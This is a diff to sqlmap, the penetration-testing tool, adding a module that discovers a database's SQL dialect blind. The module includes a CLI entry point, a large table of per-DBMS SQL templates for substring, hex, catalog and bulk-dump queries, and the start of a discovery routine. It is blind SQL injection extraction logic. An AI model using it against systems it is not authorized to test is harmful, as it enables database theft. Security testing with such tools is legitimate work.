parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
|
||||
# internal dev/test harness switches - functional but hidden from --help (--live drives the
|
||||
# local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
|
||||
parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
|
||||
parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS)
|
||||
parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS)
|
||||
args, engines = parser.parse_known_args(argv)
|
||||
|
||||
if args.live:
|
||||
names = [a.lower() for a in engines if not a.startswith("-")]
|
||||
return 0 if _livetest(only=names or None, waf=args.waf) else 1
|
||||
if args.selftest: # self-test only on EXPLICIT request
|
||||
_selftest()
|
||||
return 0
|
||||
if not args.url: # no target and nothing to do -> show help, don't surprise
|
||||
parser.print_help()
|
||||
return 1
|
||||
|
||||
target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL
|
||||
esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
|
||||
args.string, args.not_string, args.code))
|
||||
import sys as _sys
|
||||
def _live(value): # signs of life during the (slow, blind) extraction
|
||||
_sys.stdout.write("[*] retrieved: %s\n" % value)
|
||||
_sys.stdout.flush()
|
||||
esp._progress = _live
|
||||
print("[*] discovering the back-end SQL dialect (agnostic mode) ...")
|
||||
try:
|
||||
esp.discover()
|
||||
_report(esp, args)
|
||||
except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback
|
||||
print("[!] could not establish a working boolean oracle (%s)" % ex)
|
||||
print(" check the target is reachable and injectable, and the marker/--string/--code are right")
|
||||
return 1
|
||||
except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback
|
||||
print("\n[!] aborted by user")
|
||||
return 1
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
sys.exit(main())
|
||||
431
extra/esperanto/atlas.py
Normal file
431
extra/esperanto/atlas.py
Normal file
|
|
@ -0,0 +1,431 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a
|
||||
dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only,
|
||||
no logic. Each table is (name, template, ...); templates use str.format fields such as
|
||||
{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is
|
||||
written as a \\uXXXX escape so it is always obvious which code point is meant.
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import binascii
|
||||
|
||||
|
||||
def _unhexlify(value):
|
||||
"""Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it."""
|
||||
if isinstance(value, type(u"")):
|
||||
value = value.encode("ascii")
|
||||
return binascii.unhexlify(value)
|
||||
|
||||
|
||||
def _isSingleUnicodeScalar(value):
|
||||
"""True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair)."""
|
||||
if len(value) == 1:
|
||||
return True
|
||||
return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and
|
||||
0xDC00 <= ord(value[1]) <= 0xDFFF)
|
||||
|
||||
|
||||
# string concatenation of {a} and {b} (operator or function form)
|
||||
_CONCAT = (
|
||||
("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI)
|
||||
("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB
|
||||
("plus", "({a})+({b})"), # MSSQL/Sybase
|
||||
("amp", "({a})&({b})"), # MS Access
|
||||
)
|
||||
|
||||
|
||||
# 1-based substring: {len} characters of {expr} starting at {pos}
|
||||
_SUBSTRING = (
|
||||
("SUBSTR", "SUBSTR(({expr}),{pos},{len})"),
|
||||
("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"),
|
||||
("MID", "MID(({expr}),{pos},{len})"),
|
||||
("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"),
|
||||
("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"),
|
||||
("substring_lc", "substring(({expr}),{pos},{len})"),
|
||||
# LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT
|
||||
# but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which
|
||||
# is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to
|
||||
# RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general
|
||||
# fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so
|
||||
# it is deliberately kept length-free and len=1-scoped.
|
||||
("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"),
|
||||
)
|
||||
|
||||
|
||||
# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here)
|
||||
_LENGTH = (
|
||||
("CHAR_LENGTH", "CHAR_LENGTH({expr})"),
|
||||
("LENGTH", "LENGTH({expr})"),
|
||||
("LEN", "LEN({expr})"),
|
||||
("length_lc", "length({expr})"),
|
||||
)
|
||||
|
||||
|
||||
# single char {expr} -> its integer code point
|
||||
_CHARCODE = (
|
||||
("ASCII", "ASCII({expr})"),
|
||||
("UNICODE", "UNICODE({expr})"),
|
||||
("ORD", "ORD({expr})"),
|
||||
("CODEPOINT", "CODEPOINT({expr})"),
|
||||
("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255)
|
||||
("ASCII_VAL", "ASCII_VAL({expr})"),
|
||||
("ASCW", "ASCW({expr})"),
|
||||
("UNICODE_CODE", "UNICODE_CODE({expr})"),
|
||||
("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed)
|
||||
)
|
||||
|
||||
|
||||
# integer {code} -> single char (lets extraction build literals without quoting)
|
||||
_CHARFROM = (
|
||||
("CHAR", "CHAR({code})"),
|
||||
("CHR", "CHR({code})"),
|
||||
("NCHAR", "NCHAR({code})"),
|
||||
("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL)
|
||||
("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255)
|
||||
)
|
||||
|
||||
|
||||
# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case)
|
||||
_HEXFN = (
|
||||
("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive
|
||||
("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle
|
||||
("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071')
|
||||
("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB
|
||||
("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate
|
||||
("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase
|
||||
("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast)
|
||||
("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA
|
||||
("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica
|
||||
("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner
|
||||
)
|
||||
|
||||
|
||||
# uppercase hex alphabet the nibble reader walks over
|
||||
_HEXDIGITS = "0123456789ABCDEF"
|
||||
|
||||
|
||||
# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles)
|
||||
_MAX_HEX_CHAR_NIBBLES = 16
|
||||
|
||||
|
||||
# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes
|
||||
# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one
|
||||
_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
|
||||
|
||||
|
||||
# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
|
||||
# + the ',' delimiter); lets that value extract via a tiny bisection alphabet
|
||||
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV"))
|
||||
|
||||
|
||||
# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
|
||||
# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL)
|
||||
_BINWRAP = (
|
||||
("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica
|
||||
("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE
|
||||
("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks
|
||||
("binary_op", "BINARY ({x})"), # MySQL (operator form)
|
||||
("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family
|
||||
("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2
|
||||
("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby
|
||||
("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle
|
||||
("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise)
|
||||
)
|
||||
|
||||
|
||||
# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull)
|
||||
_BULK_AGG = (
|
||||
("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks
|
||||
("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery
|
||||
("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful
|
||||
("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase
|
||||
("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB
|
||||
("list_fb", "LIST({col})"), # Firebird (returns BLOB)
|
||||
("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw)
|
||||
)
|
||||
|
||||
|
||||
# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family
|
||||
_DUAL = (
|
||||
("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/...
|
||||
("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID
|
||||
("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby
|
||||
("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird
|
||||
("DUMMY", " FROM DUMMY"), # SAP HANA
|
||||
("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix
|
||||
("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard
|
||||
("system.onerow", " FROM system.onerow"), # Mimer SQL
|
||||
)
|
||||
|
||||
|
||||
# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail)
|
||||
_DUAL_IMPLIES = {
|
||||
"DUAL": "Oracle / MaxDB / Altibase / CUBRID",
|
||||
"SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby",
|
||||
"RDB$DATABASE": "Firebird",
|
||||
"DUMMY": "SAP HANA",
|
||||
"SYSMASTER:SYSDUAL": "Informix",
|
||||
"VALUES": "HSQLDB / SQL-standard",
|
||||
"system.onerow": "Mimer SQL",
|
||||
}
|
||||
|
||||
|
||||
# version-banner probes: (label, expr, product, implies_product). engine-specific first;
|
||||
# implies_product=False marks generic banners where only the banner TEXT names the product
|
||||
_BANNERS = (
|
||||
("H2VERSION()", "H2VERSION()", "H2", True),
|
||||
("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True),
|
||||
("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True),
|
||||
("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True),
|
||||
("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle
|
||||
("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE
|
||||
("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True),
|
||||
("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True),
|
||||
("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True),
|
||||
("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True),
|
||||
("@@VERSION", "@@VERSION", None, False),
|
||||
("VERSION()", "VERSION()", None, False),
|
||||
("version()", "version()", None, False),
|
||||
)
|
||||
|
||||
|
||||
# product names searched for INSIDE a banner string; forks listed BEFORE their parents
|
||||
# (e.g. MariaDB before MySQL) so the more specific name wins
|
||||
_BANNER_KEYWORDS = (
|
||||
"Microsoft SQL Server",
|
||||
"CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL",
|
||||
"TiDB", "Percona", "MariaDB", "MySQL",
|
||||
"Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake",
|
||||
"Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix",
|
||||
)
|
||||
|
||||
|
||||
# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing)
|
||||
_BYTELEN = (
|
||||
("OCTET_LENGTH", "OCTET_LENGTH({expr})"),
|
||||
("DATALENGTH", "DATALENGTH({expr})"),
|
||||
("LENGTHB", "LENGTHB({expr})"),
|
||||
)
|
||||
|
||||
|
||||
# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
|
||||
_TEXTCAST = (
|
||||
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"),
|
||||
("cast_text", "CAST(({expr}) AS TEXT)"),
|
||||
("cast_char", "CAST(({expr}) AS CHAR)"),
|
||||
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"),
|
||||
("to_char", "TO_CHAR({expr})"),
|
||||
("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
|
||||
("cast_string", "CAST(({expr}) AS STRING)"),
|
||||
("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
|
||||
)
|
||||
|
||||
|
||||
# substitute {fallback} when {expr} IS NULL
|
||||
_COALESCE = (
|
||||
("COALESCE", "COALESCE({expr},{fallback})"),
|
||||
("IFNULL", "IFNULL({expr},{fallback})"),
|
||||
("NVL", "NVL({expr},{fallback})"),
|
||||
("ISNULL", "ISNULL({expr},{fallback})"),
|
||||
("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"),
|
||||
)
|
||||
|
||||
|
||||
# expressions that yield the current user / database-or-schema / version, per kind
|
||||
_IDENTITY = {
|
||||
"user": (
|
||||
"CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER",
|
||||
"SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()",
|
||||
),
|
||||
# the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA
|
||||
# functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope
|
||||
# column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE()
|
||||
# is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL),
|
||||
# SCHEMA() returns the same value, so nothing regresses.
|
||||
"database": (
|
||||
"CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema",
|
||||
"SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()",
|
||||
), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix
|
||||
"version": (
|
||||
"VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()",
|
||||
"DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()",
|
||||
"(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle
|
||||
"(SELECT version FROM v$instance)", # Oracle alt
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first
|
||||
# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family
|
||||
_CATALOGS = (
|
||||
("sqlite_master", "SQLite",
|
||||
{"table": ("tbl_name", "sqlite_master", "type='table'")}),
|
||||
("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as
|
||||
{"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler
|
||||
"schema": ("OWNER", "SYS.ALL_TABLES", None)}),
|
||||
("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede
|
||||
{"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`)
|
||||
"schema": ("table_schema", "information_schema.tables", None)}),
|
||||
("pg_catalog.pg_tables", "PostgreSQL-family",
|
||||
{"table": ("tablename", "pg_catalog.pg_tables", None),
|
||||
"schema": ("schemaname", "pg_catalog.pg_tables", None)}),
|
||||
("master..sysdatabases", "MSSQL/Sybase",
|
||||
{"database": ("name", "master..sysdatabases", None),
|
||||
"schema": ("name", "sys.schemas", None),
|
||||
"table": ("name", "sys.tables", None)}),
|
||||
("RDB$RELATIONS", "Firebird",
|
||||
{"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding
|
||||
("syscat.tables", "IBM DB2",
|
||||
{"table": ("tabname", "syscat.tables", None)}),
|
||||
("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS,
|
||||
{"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA
|
||||
("SYS.OBJECTS", "SAP HANA",
|
||||
{"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}),
|
||||
("SYS.SYSTABLES", "Apache Derby",
|
||||
{"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables)
|
||||
("SYSIBM.SYSTABLES", "DB2/Derby",
|
||||
{"table": ("NAME", "SYSIBM.SYSTABLES", None)}),
|
||||
("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage);
|
||||
{"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed
|
||||
("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified);
|
||||
{"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables
|
||||
("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the
|
||||
{"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute
|
||||
("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)",
|
||||
{"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None),
|
||||
"schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}),
|
||||
)
|
||||
|
||||
|
||||
# per-catalog column enumeration: (name_col, source, filter) where filter has one %s
|
||||
# for the (literal) table name; matched by the catalog chosen above
|
||||
# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the
|
||||
# catalog's declared column position, used to return columns in DEFINITION order (else
|
||||
# they come out alphabetical); a wrong/absent one just degrades to alphabetical
|
||||
_COLUMN_SPECS = {
|
||||
"sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"),
|
||||
"SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema
|
||||
"pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"),
|
||||
"sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns())
|
||||
"master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"),
|
||||
"RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding
|
||||
"syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"),
|
||||
"db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID
|
||||
"systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix
|
||||
"sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB
|
||||
"system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db)
|
||||
"SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"),
|
||||
"SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"),
|
||||
"SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"),
|
||||
"INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"),
|
||||
}
|
||||
|
||||
|
||||
# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB
|
||||
# (case-sensitive, literal '_') is preferred over LIKE
|
||||
_PREFIX = (
|
||||
("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred)
|
||||
("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive)
|
||||
("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META)
|
||||
)
|
||||
|
||||
|
||||
# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a
|
||||
# literal one in the extracted value must be backslash-escaped or the pattern mismatches
|
||||
_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$")
|
||||
|
||||
|
||||
# identifier quoting styles: (open, close); probed against a known-present table
|
||||
_IDENT_QUOTE = (
|
||||
('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/...
|
||||
('`', '`'), # MySQL/MariaDB/TiDB
|
||||
('[', ']'), # SQL Server/Access/Sybase
|
||||
)
|
||||
|
||||
|
||||
# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter);
|
||||
# the preferred row-ordering key for dump()
|
||||
# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes
|
||||
# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA)
|
||||
_ANSI_KEY_SPEC = (
|
||||
"INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS "
|
||||
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))")
|
||||
|
||||
_KEY_SPECS = {
|
||||
"INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC,
|
||||
"master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk
|
||||
"pg_catalog.pg_tables": (
|
||||
"information_schema.key_column_usage", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints "
|
||||
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"),
|
||||
"SYS.ALL_TABLES": (
|
||||
"SYS.ALL_CONS_COLUMNS", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS "
|
||||
"WHERE constraint_type IN ('P','U'))"),
|
||||
}
|
||||
|
||||
|
||||
# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump()
|
||||
_ROWID = (
|
||||
("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured
|
||||
("_ROWID_", "_ROWID_", "int"), # SQLite alias
|
||||
("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable)
|
||||
("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing
|
||||
("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number
|
||||
)
|
||||
|
||||
|
||||
# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their
|
||||
# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT
|
||||
# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works
|
||||
_ROWID_LITBOUND = frozenset(("ctid",))
|
||||
|
||||
|
||||
# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet
|
||||
_PRINTABLE = "".join(chr(_) for _ in range(32, 127))
|
||||
|
||||
|
||||
# _PRINTABLE sorted by code point (for ordinal/collation bisection)
|
||||
_PRINTABLE_SORTED = sorted(_PRINTABLE)
|
||||
|
||||
|
||||
# English-frequency-ordered charset (common letters first) so the equality scan needs
|
||||
# fewer probes on real text; completed with any remaining printable chars below
|
||||
_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz"
|
||||
"0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ")
|
||||
_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER)
|
||||
|
||||
|
||||
# highest Unicode code point: the upper bound for code-mode bisection
|
||||
_UNICODE_MAX = 0x10FFFF
|
||||
|
||||
|
||||
# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker
|
||||
# (extraction emits it instead of ever silently substituting/dropping a character)
|
||||
_REPL = u"\uFFFD"
|
||||
|
||||
|
||||
# py2/py3 shim: integer code point -> single char
|
||||
try:
|
||||
_unichr = unichr # py2
|
||||
except NameError:
|
||||
_unichr = chr # py3
|
||||
|
||||
|
||||
def _native(s):
|
||||
# embed a literal as the native str type: on py2 a unicode value is encoded to
|
||||
# utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force
|
||||
# an ascii encode of non-ASCII data; on py3 str is already unicode-clean.
|
||||
if str is bytes and isinstance(s, unicode): # py2 only (unicode unresolved on py3)
|
||||
return s.encode("utf-8")
|
||||
return s
|
||||
|
||||
|
||||
__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii']
|
||||
467
extra/esperanto/discovery.py
Normal file
467
extra/esperanto/discovery.py
Normal file
|
|
@ -0,0 +1,467 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import *
|
||||
from .records import *
|
||||
|
||||
|
||||
class _Discovery(object):
|
||||
"""_Discovery
|
||||
|
||||
probe the target to build the Dialect; populates self.dialect, never extracts data."""
|
||||
|
||||
def discover(self):
|
||||
with self._probePhase():
|
||||
return self._discover()
|
||||
|
||||
def _discover(self):
|
||||
if not self._sanity():
|
||||
raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)")
|
||||
try:
|
||||
self._discoverSubstring()
|
||||
except RuntimeError:
|
||||
# MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a
|
||||
# pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/
|
||||
# code/hex fn.
|
||||
if self._fallbackPrefix():
|
||||
return self.dialect
|
||||
raise
|
||||
try:
|
||||
self._discoverLength()
|
||||
except RuntimeError:
|
||||
# no length fn - derive length from the substring's end behavior, provided
|
||||
# that end is observable (empty/NULL). one more laddered capability, so a
|
||||
# backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts.
|
||||
# if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor.
|
||||
if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"):
|
||||
if self._fallbackPrefix():
|
||||
return self.dialect
|
||||
raise
|
||||
